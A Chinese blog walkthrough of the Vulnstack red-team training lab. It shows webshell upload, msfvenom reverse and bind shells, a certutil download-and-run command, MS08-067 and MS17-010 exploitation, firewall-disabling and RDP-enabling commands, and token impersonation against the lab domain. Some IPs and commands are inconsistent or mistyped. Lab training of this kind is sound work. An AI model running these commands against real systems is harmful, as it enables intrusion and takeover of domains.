ATT&CK红队评估实战靶场(一)靶场搭建和模拟攻击过程全过程

ATT&CK红队评估实战靶场(一)

0x01 前言

本靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址如下:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

通过模拟真实环境搭建的漏洞靶场,完全模拟ATK&CK攻击链路进行搭建,形成完整个闭环。虚拟机默认密码为hongrisec@2019

0x02 环境搭建

WEB服务器:windows7系统

外网网卡IP:192.168.31.59
内网网卡IP:192.168.52.143

域成员:windows server 2003系统

网卡IP:192.168.52.141

域控服务器:windows server 2008系统

网卡IP:192.168.52.138

攻击机器:kali 2020.2

kali IP:192.168.31.198

宿主机IP:windows 10系统

IP:192.168.31.105

安装CobaltStrike服务器

IP:192.168.31.198

3.1. 信息收集

3.1.1 主机探测
netdiscover -i eth0 -r 192.168.1.0/24

在这里插入图片描述

3.1.2 端口扫描

发现IP 192.168.31.59,使用nmap探测端口开放情况(注意需要现在win7主机运行PhpStudy)

nmap -sC -v -n -sV -Pn -p 1-65535 192.168.31.59

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sCdlIMPL-1632963047912)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917233242761.png)

发现80端口开启,访问页面http://192.168.31.59/发现页面如下,存在大量信息泄露,收集有效信息。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eXuwkFZa-1632963047913)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917233427662.png)

3.1.3 目录扫描

使用御剑目录扫描工具开展漏洞扫描

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-soI3Y7WC-1632963047914)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917235002348.png)
发现网站备份文件和phpadmin后台管理界面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PUz09oiC-1632963047915)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917235149802.png)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C4RESLRq-1632963047916)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917235112790.png)
打开备份文件发现网站源码,打开robots.txt发现网站CMS为yxcms

访问http://192.168.1.102/yxcms进入网站首页
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Akdb2XUv-1632963047917)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917235256014.png)

3.2. 漏洞利用

3.2.1 漏洞发现
3.2.1.1 漏洞一:信息泄露+弱口令

网站泄露后台地址和用户密码,且用户密码为弱口令

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DMjSpt4j-1632963047919)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917234918929.png)
成功登录网站后台界面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0lhOqd2D-1632963047920)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917234900471.png)

3.2.1.2 漏洞二:PhpMyAdmin弱口令

发现使用默认用户名/口令(root/root)成功登录PhpMyAdmin管理页面
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pe1h2Qo5-1632963047920)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917235344540.png)

3.2.1.3 漏洞三:yxcms留言本XSS存储型漏洞

前台提交带有XSS代码的留言
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vkchczwl-1632963047921)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917234738572.png)
后台审核成功弹出XSS弹窗
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZXqEXvdn-1632963047922)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917234452767.png)
审核通过之后,前台同样成功弹窗
在这里插入图片描述

可通过该漏洞获取管理员cookie或者诱导管理员点击执行某恶意代码

3.2.1.4 漏洞四:yxcms后台任意文件读写漏洞

在后台创建新模板模块创建内容为一句话的新模板

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R9KMJqRl-1632963047923)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917235616322.png)

通过前面的备份文件可知文件保存的目录http://192.168.31.59/yxcms/protected/apps/default/view/default/hacker.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NdzSn1G0-1632963047924)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210917235820510.png)

使用蚁剑成功连接shell
在这里插入图片描述

3.2.1.5 漏洞五:yxcms后台SQL注入漏洞

在后台的碎片列表中进行删除操作,删除碎片ID可能存在盲注漏洞,使用dnslog获取SQL注入得到数据。

yxcms漏洞代码原理解析参考文章https://www.freebuf.com/column/162886.html

3.2.1.6 漏洞六:PhpMyAdmin开启全局日志getshell

3.3 CS上线GetShell

CS服务端都部署在192.168.31.198 kali主机上,客户端部署在windows10真机上

服务端 (这里地址变动了一下,后面改了)当成.198就行

nohup ./teamserver IP 密码 &

在这里插入图片描述

创建监听并生成powershell

木马
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nGX91ylj-1632963047926)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210918094451368.png)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5lPbrqlL-1632963047926)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210918094552510.png)

然后拷贝到靶机启动

getshell
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ej8RTtD7-1632963047927)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210918001539902.png)

提权成功
在这里插入图片描述

3.4 系统信息收集

查看网卡
在这里插入图片描述

发现内网ip地址192.168.31.593和域god.org,查看域信息

net group /domain  #查看域内所有用户列表
net group “domain computers” /domain #查看域成员计算机列表
net group “domain admins” /domain #查看域管理员用户

本机计算机名字为STU1,另外还有两个域用户分别是DEV1、ROOT-TVI862UBEH、域控制用户为OWA

3.5 主机密码收集

获取系统用户名和密码
在这里插入图片描述

3.6 远程桌面登录

远程开启3389端口并关闭防火墙

注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


关闭防火墙
netsh firewall set opmode disable   			#winsows server 2003 之前
netsh advfirewall set allprofiles state off 	#winsows server 2003 之后

在这里插入图片描述

这个时候防火墙是开启,我们需要关闭防火墙,使用域用户god\administrator/hongrisec@2020成功登录这一台win7WEB主机

在这里插入图片描述

0x04 内网信息收集

4.1 域信息收集

4.5 内网漏洞扫描

0x05 横向渗透

5.1 MSF反弹shell

这里我们使用Kali的msf先反弹一个shell

#生成反弹shell文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=4444 -f raw > shell.php

#在本机中设置监听

msfconsloe
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.31.198
set lport 4444
run

然后使用蚁剑上传shell.php,并访问

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ezfyPmiy-1632963047931)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210918003934396.png)
在这里插入图片描述

5.2 内网流量转发(proxychains)

成功获取msf反弹shell,添加路由到目标环境网络,使得msf能够通过win7路由转发访问192.168.52.0/24网段

#查看路由信息
run get_local_subnets
#添加一条路由
run autoroute -s 192.168.52.0/24

查看路由信息
run autoroute -p

在这里插入图片描述

5.2.1 MSF+proxychains
添加socks4代理服务器

使用msf的socks4代理模块

use auxiliary/server/socks4a
set srvhost 192.168.31.198
run

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Xm8RiH6c-1632963047932)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210919150158671.png)

文本编辑器修改etc/proxychains.conf,在最后一行加上socks4代理服务器

vi /etc/proxychains.conf

在这里插入图片描述

proxychains代理nmap扫描
proxychains nmap -sT -sV -Pn -p445 --script=smb-vuln-ms17-010.nse 192.168.52.141

在这里插入图片描述

5.2.2 CS+proxychains
添加socks4代理服务器

在这里插入图片描述

这里是SOCKS代理运行的端口,任意输入一个未占用的端口即可,或者默认CS会给出一个,我们直接点击开始即可

这里我选的11111端口
在这里插入图片描述
在这里插入图片描述
查看代理
在这里插入图片描述
kali 文本编辑器修改etc/proxychains.conf,在最后一行加上socks4代理服务器

vi /etc/proxychains.conf

踩坑:这里代理ip是kali的地址,因为cs服务端是在kali 不是客户端 真机win10,虽然代理端口是在客户端win10加的
在这里插入图片描述

proxychains代理nmap扫描
proxychains nmap -sT -sV -Pn -p445 --script=smb-vuln-ms17-010.nse 192.168.52.141

在这里插入图片描述

5.3 MS08-067 搭配Bind TCP

由于没有定义双向路由,目标系统无法直接连接到攻击机,所以我们需要将Bind_tcp设置为payload类型,在exploit操作成功之后,就要对连接到目标系统的端口进行监听,两者区别如下:
在这里插入图片描述

msf

use exploit/windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set payload windows/meterpreter/bind_tcp
run

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZyppIfwF-1632963047939)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210918020300060.png)

成功获取域成员192.168.1.141的shell
在这里插入图片描述

5.4 MS17-010获取域控服务器

nmap 扫描 域控 192.168.52.138 有ms17-010漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5vJuKDee-1632963047940)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210918022228186.png)
msf的scan

msf5 auxiliary(server/socks4a) > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.52.141 192.168.52.138
rhost => 192.168.52.141 192.168.52.138
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

在这里插入图片描述

我们同样可以使用MS17-010获取域服务器和域控服务器权限,这里我们直接攻击域控服务器

使用exploit/windows/smb/ms17_010_eternalblue攻击流程如下:

use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.52.138
run

在这里插入图片描述
在这里插入图片描述

获取失败

然后后面发现 没有设置 payload 重新尝试

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp   这里设置正向 攻击机主动通过代理连接域控 因为域控连接不了外网,不能使用reverse_tcp
set rhost 192.168.52.138
run

在这里插入图片描述

成功
在这里插入图片描述
使用psexec 失败 贴上过程

msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/blind_tcp
[-] The value specified for payload is not valid.
msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf5 exploit(windows/smb/ms17_010_psexec) > run

在这里插入图片描述

无法有效获取会话

方法三 先使用ms17010命令执行 关闭防火墙,否则无法弹回shell

msf5 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/admin/smb/ms17_010_command
msf5 auxiliary(admin/smb/ms17_010_command) > set rhost 192.168.31.138
rhost => 192.168.31.138
msf5 auxiliary(admin/smb/ms17_010_command) > set COMMAND netsh advfirewall set allprofiles state off
COMMAND => netsh advfirewall set allprofiles state off
msf5 auxiliary(admin/smb/ms17_010_command) > run

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TM6L5ZFV-1632963047945)(%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA(vulnstack)].assets/image-20210919155519539.png)

依旧失败
在这里插入图片描述

5.5 WMI获取域控服务器

上传vmiexec.vbs到192.168.52.143(win7)机器上,然后执行

cscript.exe wmiexec.vbs /cmd 192.168.52.138 administrator 991118Sy "whoami"

或者直接使用之前上传的Ladom工具执行ladom wmiexec 192.168.52.138 administrator 991118Sy whoami
在这里插入图片描述

同上面的过程一样,我们需要获取一个正向的msf连接,过程如下:

首先生成一个正向的exe文件放到win7的网站目录

msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.31.198 LPORT=6666 -f exe > 6666.exe

在这里插入图片描述

win7网站目录
在这里插入图片描述

在win7上使用WMI执行命令certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe

cscript.exe wmiexec.vbs /cmd 192.168.52.138 administrator 991118Sy "certutil.exe -urlcache -split -f http://192.168.52.143/6666.exe&6666.exe" 

在这里插入图片描述

成功执行,这时候 我们已经 在138机器(DC—win2008)上开启6666端口监听
先在msf中开启代理 端口设置5001

use auxiliary/server/socks5
set srvport 5001
run

在这里插入图片描述

在开个窗口 kali代理

vi /etc/proxychains.conf

在这里插入图片描述

msf启动监听

msf5 auxiliary(server/socks5) > use exploit/multi/handler
[*] Using configured payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf5 exploit(multi/handler) > set lport 6666
lport => 6666
msf5 exploit(multi/handler) > run

在这里插入图片描述

getsystem   直接提权

在这里插入图片描述

假冒令牌
use incognito
list_tokens -u

在这里插入图片描述

接下来在incognito中调用impersonate_token命令假冒root用户进行攻击
这里我们解释下(我们看到有俩种类型的令牌:一种是Delegation Tokens,也就是授权令牌,它支持交互式登陆
还有一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量取决于meterpreter shell的访问级别)

知识点:在输入hostname\username中需要加俩个反斜杠(\\\)
运行成功后在meterpreter shell下运行shell命令并输入whoami ,就可以看见我们现在就是假冒的系统管理员了.

0x06 后记

获取域控权限的方法还有好多,向pth攻击、横向哈希传递、redis,还有使用CVE-2018-8120来提权,票据加计划任务获取DC略

  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值